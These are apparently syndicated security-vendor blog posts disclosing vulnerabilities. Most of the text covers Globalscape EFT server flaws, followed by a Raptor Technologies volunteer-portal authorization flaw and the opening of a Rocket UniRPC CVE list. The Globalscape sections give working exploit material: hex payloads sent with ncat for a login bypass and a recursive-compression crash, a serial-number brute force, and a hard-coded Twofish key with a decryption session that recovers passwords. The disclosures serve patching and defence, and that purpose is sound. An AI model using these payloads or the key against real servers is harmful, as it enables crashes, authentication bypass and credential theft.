However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/04/11/raptor-technologies-volunteer-management-client-side-security-controls-fixed/

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

Prior to Mar 18, 2023, due to a reliance on client-side controls, authorized users of Raptor Technologies Volunteer Management SaaS products could effectively enumerate authorized users, and could modify restricted and unrestricted fields in the accounts of other users associated with the same Raptor Technologies customer.  

Product description

Raptor Technologies Volunteer Management for Schools product is used by school districts to authenticate pre-approved volunteers, and print badges for the volunteers to use for entry to the school.  

Each volunteer has an account in the Raptor Technologies system, and the account contains information about the volunteer, a photo which matches the volunteer’s photo ID,  details of what buildings access is allowed to, and for what activities.  This account is set up and populated by school officials after a potential volunteer submits an online application for access.

Credit

This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while using the application as an end-user.  It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Prior to the fix deployed by Raptor Technologies on March 18, 2023,  lack of server-side authorization checks allowed an authenticated user to edit restricted fields in the user’s own account and other users’ accounts.  There are client-side controls in place to prevent these accesses, but there were gaps in the server-side checking that allowed crafted API requests to make these changes to user records.

There is a PersonID field in the profile update request payload, and it was possible to modify another user’s account by using a PersonID field that did not match that of the authenticated user.   The PersonID is observed to be a relatively short decimal number that may have been prone to enumeration.  The Community feature provides a list of all users with access to the same schools who have agreed to have their contact information shared.  The user list returned by the server contains the PersonID for each user listed, which would have allowed an adversary to make targeted changes to specific user accounts within the community.  

An example of a user’s profile page is shown below. The areas highlighted in yellow contain identity and access information sourced from the application submitted by the user. Controls in the browser client prevent a user from editing these fields when updating the profile.

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

When the Save button is clicked, a POST to
apps.raptortech.com/Portal/Profile/Save

Is initiated, with a payload of content type:
Content-Type: application/x-www-form-urlencoded

The payload includes all of the fields visible on the page (along with some that are not). The fields in this POST request’s payload are listed below, with personal information redacted.

Person.ImageName=<redacted>&
Person.PersonId=<redacted>&
Person.PersonaType=<redacted>&
Person.RequireDateOfBirth=True&
Person.RequireIdNumber=False&
Person.IdNumber_Short=<redacted>&
Scope=Client&
Person.IsOfficial=True&
Person.FirstName=<redacted>
Person.MiddleName=<redacted>&
Person.LastName=<redacted>&
Person.DateOfBirth=<redacted>&
Person.IdType=<redacted>DLID
&Person.IdNumber=<redacted>&
MaidenName=&
Gender=Male
Race=Unspecified&
ExpirationDate=<redacted>&
HoursResetDate=<redacted>&
ModifyBuildingsEnabled=False&
Email=<redacted>&
Buildings[0]=<redacted>
Functions[0]=<redacted>&
AffiliationId=<redacted>&
ProfileId=<redacted>&
Person.RequireIdType=False&
Address.Id=<redacted>
&Address.IsRequired=False&
Address.IsInternationalCountry=False&
Address.IsRequiredAndIsNotInternationalCountry=False&
Address.Line1=<redacted>&
Address.Line2=&
Address.Line3=&
Address.City=<redacted>&
Address.State=<redacted>&
Address.ZipCode=<redacted>&
Address.Country=US&
PrimaryPhone=<redacted>&
SecondPhone=&
ThirdPhone=&
PreferredLanguage=0

Impact

Updating Restricted Fields: Fields that the client prevents from modifying could be changed in the apps.raptortech.com/Portal/Profile/Save body, with the results persisting in the user’s profile. Thus, it was possible to modify restricted fields related to the user’s identity by manipulating this request’s payload.

Updating other users’ information: The payload of the Portal/Profile/Save request includes a field for the Person.PersonID. It was possible to modify the profile of another user associated with the same Raptor Technologies customer by entering the other user’s Person.PersonID in the payload of the request.

Community feature discloses PersonIDs: The ‘Community’ feature presents a list of other members of the user’s community, who have opted in to sharing their information. The browser interface only displays the users’ names and contact information. However, the list of information returned by the server for the
apps.raptortech.com/Portal/Community/gvVolunteerContactInformation_Read
endpoint includes each community member’s PersonID. Prior to the fix, this information disclosure could be combined with the lack of server-side authorization checks to make targeted changes to the accounts of other community members.

The fields included for each user in the response are listed below for reference:

{
    "$id": "2",
    "PersonId": <6 or 7 digits>,
    "ProfileId": <5 digits>,
    "FirstName": "<redacted>",
    "LastName": "<redacted>",
    "PrimaryPhone": "<redacted>",
    "SecondPhone": "",
    "Email": "<redacted>",
    "AllowToContact": true,
    "PreventFromBeingContacted": false,
    "PrimaryPhoneDisplay": "<redacted>",
    "SecondPhoneDisplay": ""
}

Remediation

On March 18, 2023, Raptor Technologies deployed an update to its Volunteer Management application to address this issue.

Since this is a SaaS / cloud-hosted solution, end users, implementers and integrators should not need to do anything to update or patch to address the issue.

Disclosure Timeline

January, 2023: Issues discovered by Tony Porterfield of Rapid7
Tue, Jan 10, 2023: First contact to the vendor, opened ticket #00711217
Mon, Jan 30, 2023: Case opened with CERT/CC, VRF#23-01-NGZBZ
Fri, Feb 17, 2023: CERT/CC VINCE case VU#679276 opened
Fri, Mar 3, 2023: Report acknowledged by the vendor, clarifications provided
Wed, Mar 8, 2023: Details discussed with the vendor, extended disclosure time by approximately 30 days
Sat, Mar 18, 2023: Fixes deployed
Tue, Apr 11, 2023: This disclosure

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed/

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software‘s UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.

This disclosure will detail a number of different vulnerabilities, including:

  • CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd service
  • CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server service
  • CVE-2023-28503: Authentication bypass in libunidata.so‘s do_log_on_user() function
  • CVE-2023-28504: Pre-authentication stack buffer overflow in libunidata.so‘s U_rep_rpc_server_submain()
  • CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function
  • CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave executable
  • CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in unirpcd service
  • CVE-2023-28508: Post-authentication heap overflow in udsub service
  • CVE-2023-28509: Weak encryption

Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.

Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.

Product description

We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:

  • UniData 8.2.4 (and earlier) – patched in 8.2.4 build 3003
